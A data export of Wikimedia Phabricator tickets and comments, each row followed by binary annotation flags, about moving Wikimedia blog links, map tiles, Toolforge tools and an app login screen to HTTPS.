+618349,make blog links from wmfwiki front page use HTTPS links,">>! In T104728#2065314, @jrbs wrote:
+>>>! In T104728#2065282, @Dzahn wrote:
+>> Looks to me like this ticket is either about editing wiki pages or about fixing things on the Blog side. Both of these don't really need Operations and Traffic, right?
+> 
+> It looks to me like @Krenair's change has fixed this issue as it is described.
+
+Looking at the main page, the last two entries had HTTPS links, but not the previous ones? Did something change on the blog/Automattic's end?",,,1456445753,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-wrd3xll4wtgqcuiuvoag,task_subcomment,,True,c3,3,True,,,34,True,0,1,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,0,0,1,1,0,0,1
+618330,make blog links from wmfwiki front page use HTTPS links,">>! In T104728#2065282, @Dzahn wrote:
+> Looks to me like this ticket is either about editing wiki pages or about fixing things on the Blog side. Both of these don't really need Operations and Traffic, right?
+
+Traffic was added via bulk edit and that causes Herald to add Operations...",,,1456444633,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-wrd3xll4wtgqcuiuvoag,task_subcomment,,True,c3,3,True,,,34,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,1,1,0,0,1
+618328,make blog links from wmfwiki front page use HTTPS links,">>! In T104728#2065282, @Dzahn wrote:
+> Looks to me like this ticket is either about editing wiki pages or about fixing things on the Blog side. Both of these don't really need Operations and Traffic, right?
+
+It looks to me like @Krenair's change has fixed this issue as it is described.",,,1456444544,,PHID-USER-55fuvu3zppmtjqx3xqgf,False,,,PHID-TASK-wrd3xll4wtgqcuiuvoag,task_subcomment,,True,c3,3,False,,,34,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,0,0,1,1,0,0,1
+618318,make blog links from wmfwiki front page use HTTPS links,"Looks to me like this ticket is either about editing wiki pages or about fixing things on the Blog side. Both of these don't really need Operations and Traffic, right?",,,1456443639,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-wrd3xll4wtgqcuiuvoag,task_subcomment,,True,c3,3,True,,,34,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,1,1,0,0,0
+599819,make blog links from wmfwiki front page use HTTPS links,"And also https://wikimediafoundation.org/w/index.php?title=Spotlight_on_Wikimedia_Commons/Updates&diff=104830&oldid=92778 - but interestingly, that appears to have made it generate HTTPS links?",,,1454076235,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-wrd3xll4wtgqcuiuvoag,task_subcomment,,True,c3,3,True,,,30,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,0
+599814,make blog links from wmfwiki front page use HTTPS links,"I did https://wikimediafoundation.org/w/index.php?title=Template:Blogbox&diff=prev&oldid=104829, so this should now work as soon as {T104726} is fixed. {T105905} is not really a blocker.",,,1454075988,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-wrd3xll4wtgqcuiuvoag,task_subcomment,,True,c3,3,True,,,30,True,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0
+525793,make blog links from wmfwiki front page use HTTPS links,It seems that first solving T105905 would be the ideal course of action here.,,,1442029510,,PHID-USER-55fuvu3zppmtjqx3xqgf,False,,,PHID-TASK-wrd3xll4wtgqcuiuvoag,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+103801,*.tiles.wmflabs.org should be served over https,"The embedded map on nlwiki (e.g. https://nl.wikipedia.org/wiki/Amsterdam, click on 'kaart' next to the coordinates) uses
+
+https://tools.wmflabs.org/wiwosm/osm-on-ol/kml-on-ol.php?lang=nl&uselang=nl&params=52_22_0_N_4_54_0_E_type:city(743027)_region:NL&pagename=Amsterdam
+
+which loads tiles from
+
+http://a.tiles.wmflabs.org/osm-no-labels/12/2105/1346.png
+
+which causes a Mixed Content warning. For me, the map does load, but a [[ https://nl.wikipedia.org/w/index.php?title=Wikipedia:De_kroeg&diff=44393416&oldid=44392002 | report at the nlwiki village pump ]] suggests this is not true for everyone.
+
+",Low,25.0,1435221437,1531141994.0,PHID-USER-muirnivxp5hzppn2a3z7,False,PHID-USER-wrimmmr5w2zt7nk2t753,False,PHID-TASK-yilxmvulfm4klrrlsp5x,task_description,resolved,True,c3,2,True,False,False,-1,True,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,1,1,1,1,0,0,0,1
+1100607,*.tiles.wmflabs.org should be served over https,@TheDJ https://a.tiles.wmflabs.org/osm-no-labels/12/2105/1346.png is a cert mismatch because the server attempts to serve the *.wmflabs.org cert which won't match,,,1531163239,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-yilxmvulfm4klrrlsp5x,task_subcomment,,True,c3,3,True,,,157,True,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,1,1,1,0,0,0,0,0
+1100325,*.tiles.wmflabs.org should be served over https,It seems that at some point this was resolved.,,,1531141994,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-yilxmvulfm4klrrlsp5x,task_subcomment,,True,c3,3,True,,,157,True,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+481906,*.tiles.wmflabs.org should be served over https,"The user on nlwiki uses Firefox, but I could not reproduce it with FF this morning, which suggests the issue might rather lie with the server error noted above. (ctrl-R gives me the same error now)",,,1435259893,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-yilxmvulfm4klrrlsp5x,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0
+481903,*.tiles.wmflabs.org should be served over https,"The user on nlwiki uses Firefox, but I could reproduce it with FF this morning. However, the issue might rather lie with the server error noted above.",,,1435259770,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-yilxmvulfm4klrrlsp5x,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+481601,*.tiles.wmflabs.org should be served over https,"For me, http://a.tiles.wmflabs.org/osm-no-labels/12/2105/1346.png gives:
+
+> Internal Server Error
+> The server encountered an internal error or misconfiguration and was unable to complete your request.
+> Please contact the server administrator at webmaster@localhost to inform them of the time this error occurred, and the actions you performed just before this error.
+> More information about this error may be available in the server error log.
+> Apache/2.4.7 (Ubuntu) Server at a.tiles.wmflabs.org Port 80
+
+Cf. also T103272.",,,1435242813,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-yilxmvulfm4klrrlsp5x,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,0,1,1,0,1,0,1
+103373,"Add ""Forgot your password"" to login screen","| {F5352772 width=200} | {F5352763 width=200}
+| Reset password | Set new password |
+Would be helpful to enable users who forgot their passwords to be able to retrieve it for log in through the app.
+
+----
+
+
+==Related ticket==
+https://phabricator.wikimedia.org/T150985
+
+==Prototype==
+https://wikimedia.invisionapp.com/share/7J9FKPNPW 
+
+==Zeplin==
+https://zpl.io/Z21KiN7
+Tags: Reset password
+
+==User stories==
+//Users with accounts//
+As a user with a Wikipedia account I would like to be able to log in to my account on the iOS app, even if I have 2FA enabled. When I forget my password, I would like to be able to reset my password through the app
+
+
+==Design details==
+//Reset password email confirmation (system message)//
+| ** Action ** | **Message** | **Color**|
+| User resets their password | Temporary password sent via email | Green",Low,25.0,1434989592,1487128080.0,PHID-USER-wplzfp6ulg4tuzwl3or6,True,PHID-USER-ohzzl3maortma7y4znpb,False,PHID-TASK-xvskb4hyoa6chydtwsns,task_description,duplicate,True,c3,2,False,False,False,-2,True,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1
+767783,"Add ""Forgot your password"" to login screen",Please see ticket related ticket: https://phabricator.wikimedia.org/T150985 ,,,1480356146,,PHID-USER-rblpzor23smiqjmaezyw,True,,,PHID-TASK-xvskb4hyoa6chydtwsns,task_subcomment,,True,c3,3,False,,,73,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+700247,"Add ""Forgot your password"" to login screen","(Even if not possible, we should provide at least a link to Safari/mobile reading web's password reset.)",,,1469480544,,PHID-USER-4j7xntcqqwei7izzlfnd,True,,,PHID-TASK-xvskb4hyoa6chydtwsns,task_subcomment,,True,c3,3,True,,,55,True,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,1,0
+700243,"Add ""Forgot your password"" to login screen","This task should be possible now, given the recent API changes: https://en.wikipedia.org/w/api.php?action=help&modules=resetpassword",,,1469480056,,PHID-USER-kve2ug5yc3dp6ighnmqk,True,,,PHID-TASK-xvskb4hyoa6chydtwsns,task_subcomment,,True,c3,3,True,,,55,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+482873,"Add ""Forgot your password"" to login screen","It is presently not possible to trigger a password reset email over the API, so this task is impossible to complete. Marking as stalled, accordingly.
+
+The work to unblock this is tracked in T32788.",,,1435381386,,PHID-USER-kve2ug5yc3dp6ighnmqk,True,,,PHID-TASK-xvskb4hyoa6chydtwsns,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+102457,Make Magnus tools on tools.wmflabs.org work in HTTPS,"For example:
+https://tools.wmflabs.org/magnustools/resources/js/common.js line 45
+
+```
+function httpsAlert ( id , b4 ) {
+	if ( window.location.href.match ( /^https:/ ) ) {
+		var url = window.location.href.replace ( /^https:/ , 'http:' ) ;
+		var h = '<div id=""https_alert"" class=""alert""><strong>Caveat :</strong> Using https on this page does not work in all browsers, due to downstream http dependencies. ' ;
+		h += '<a href=""' + url + '"">Use http instead</a>.<a class=""close"" data-dismiss=""alert"" href=""#"">&times;</a></div>' ;
+		if ( b4 ) $('#'+id).before ( h ) ;
+		else $('#'+id).after ( h ) ;
+		$('#https_alert').alert() ;
+	}
+}
+```
+",Low,25.0,1434356889,1456779071.0,PHID-USER-3wfzrv2a2ggwauxc52is,False,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-TASK-dmwtiyl3oyudqlrun4ex,task_description,resolved,True,c3,2,True,False,False,-3,True,1,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,1
+624582,Make Magnus tools on tools.wmflabs.org work in HTTPS,"Just FYI, treeviews is now completely https (the last remaining http element was the tree image...)
+https://tools.wmflabs.org/glamtools/treeviews/",,,1457368851,,PHID-USER-hms7bpiczbwhx4dxgiqw,False,,,PHID-TASK-dmwtiyl3oyudqlrun4ex,task_subcomment,,True,c3,3,False,,,35,True,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0
+619997,Make Magnus tools on tools.wmflabs.org work in HTTPS,">>! In T102457#2073493, @Dzahn wrote:
+> Use as a tracking ticket. Make subtasks for individual tools who are still http-only.?
+
+We need a list first, for a serious tracking bug. I filed T128409 for now.",,,1456779044,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dmwtiyl3oyudqlrun4ex,task_subcomment,,True,c3,3,True,,,34,True,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,0,0,0,1
+619990,Make Magnus tools on tools.wmflabs.org work in HTTPS,">>! In T102457#2073490, @Nemo_bis wrote:
+> This bug is fixed as regards Magnus tools, I think; and it's probably too generic for the whole of Tool Labs. Maybe just close?
+
+Use as a tracking ticket. Make subtasks for individual tools who are still http-only.?",,,1456778557,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-dmwtiyl3oyudqlrun4ex,task_subcomment,,True,c3,3,True,,,34,True,0,0,0,1,0,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,0,0,0,1
+619989,Make Magnus tools on tools.wmflabs.org work in HTTPS,">>! In T102457#2072902, @Krinkle wrote:
+> Or maybe Magnus' tool should use the new [Page View API](https://wikitech.wikimedia.org/wiki/Analytics/PageviewAPI) instead of http://stats.grok.se.
+
+He already does and he *also* has a proxy, working with URLs such as https://tools.wmflabs.org/glamtools/proxy.php?url=http%3A%2F%2Fstats.grok.se%2Fjson%2Fit%2F201601%2FMathieu%2520La%2520Porte (test with https://tools.wmflabs.org/glamtools/treeviews/?q=%7B%22lang%22%3A%22it%22%2C%22pagepile%22%3A%22492%22%2C%22rows%22%3A%5B%5D%7D ).
+
+This bug is fixed as regards Magnus tools, I think; and it's probably too generic for the whole of Tool Labs. Maybe just close?",,,1456778501,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dmwtiyl3oyudqlrun4ex,task_subcomment,,True,c3,3,True,,,34,True,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,1,0,1,0,1,0,0,1
+619988,Make Magnus tools on tools.wmflabs.org work in HTTPS,">>! In T102457#2072902, @Krinkle wrote:
+> Or maybe Magnus' tool should use the new [Page View API](https://wikitech.wikimedia.org/wiki/Analytics/PageviewAPI) instead of http://stats.grok.se.
+
+He already does and he *also* has a proxy, working with URLs such as https://tools.wmflabs.org/glamtools/proxy.php?url=http%3A%2F%2Fstats.grok.se%2Fjson%2Fit%2F201601%2FMathieu%2520La%2520Porte (test withhttps://tools.wmflabs.org/glamtools/treeviews/?q=%7B%22lang%22%3A%22it%22%2C%22pagepile%22%3A%22492%22%2C%22rows%22%3A%5B%5D%7D ).
+
+This bug is fixed as regards Magnus tools, I think; and it's probably too generic for the whole of Tool Labs. Maybe just close?",,,1456778486,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dmwtiyl3oyudqlrun4ex,task_subcomment,,True,c3,3,True,,,34,True,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,1,0,1,0,1,0,0,1
+619848,Make Magnus tools on tools.wmflabs.org work in HTTPS,">>! In T102457#1391885, @yuvipanda wrote:
+> I can also help the maintainer of stats.grok.de setup SSL, if so desired.
+
+Or maybe Magnus' tool should use the new [Page View API](https://wikitech.wikimedia.org/wiki/Analytics/PageviewAPI) instead of http://stats.grok.se.",,,1456769451,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-dmwtiyl3oyudqlrun4ex,task_subcomment,,True,c3,3,True,,,34,True,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,1
+479835,Make Magnus tools on tools.wmflabs.org work in HTTPS,"I can also help the maintainer of stats.grok.de setup SSL, if so desired.",,,1435058768,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-dmwtiyl3oyudqlrun4ex,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+479833,Make Magnus tools on tools.wmflabs.org work in HTTPS,I could set up an 'official' NFS-independent https -> http proxy on tools (tools-https-proxy.wmflabs.org) that allows you to request https://tools-https-proxy.wmflabs.org/<URL> to proxy a URL. ,,,1435058737,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-dmwtiyl3oyudqlrun4ex,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,1
+479749,Make Magnus tools on tools.wmflabs.org work in HTTPS,"I could add a proxy script on Labs, but my experience is that this does help neither speed nor reliability.",,,1435051653,,PHID-USER-hms7bpiczbwhx4dxgiqw,False,,,PHID-TASK-dmwtiyl3oyudqlrun4ex,task_subcomment,,True,c3,2,False,,,-2,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+476143,Make Magnus tools on tools.wmflabs.org work in HTTPS,">>! In T102457#1372886, @valhallasw wrote:
+> In that case, specifically, the issue is that http://stats.grok.se/ is not available over https.
+
+Yep, that's a very well known issue and for that reason several Magnus tools NEED to be accessed over http.",,,1434524446,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dmwtiyl3oyudqlrun4ex,task_subcomment,,True,c3,2,True,,,-3,True,1,0,1,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,0,1,1,0,0,1,0,1,0,1,0,0,0,0,1
+476141,Make Magnus tools on tools.wmflabs.org work in HTTPS,"In that case, specifically, the issue is that http://stats.grok.se/ is not available over https.",,,1434524279,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-dmwtiyl3oyudqlrun4ex,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+102367,Migrate tools.wmflabs.org to https only (and set HSTS),"In line with switching over everything else.
+
+Should be fairly simple to do. ",Low,25.0,1434243254,1595004974.0,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-USER-ll6tmaogat2b5q7tnqas,False,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_description,resolved,True,c3,2,True,False,False,-3,True,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+1546450,Migrate tools.wmflabs.org to https only (and set HSTS),Announced to community: https://lists.wikimedia.org/pipermail/cloud-announce/2020-July/000304.html,,,1595006816,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,263,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+1546432,Migrate tools.wmflabs.org to https only (and set HSTS),mean-time-to-implement: 5 years. Ouch. But it is done now!,,,1595004974,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,263,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+1546430,Migrate tools.wmflabs.org to https only (and set HSTS),"Change 612948 **merged** by Andrew Bogott:
+[operations/puppet@production] toolforge: Perform HTTPS redirects unconditionally
+
+https://gerrit.wikimedia.org/r/612948",,,1595004682,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,263,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1546425,Migrate tools.wmflabs.org to https only (and set HSTS),"{nav icon=file, name=Mentioned in SAL (#wikimedia-cloud), href=https://sal.toolforge.org/log/lROsXXMBj_Bg1xd3q29J} [2020-07-17T16:47:43Z] <bd808> Enabled Puppet on tools-proxy-06 following successful test (T102367)",,,1595004464,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,263,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
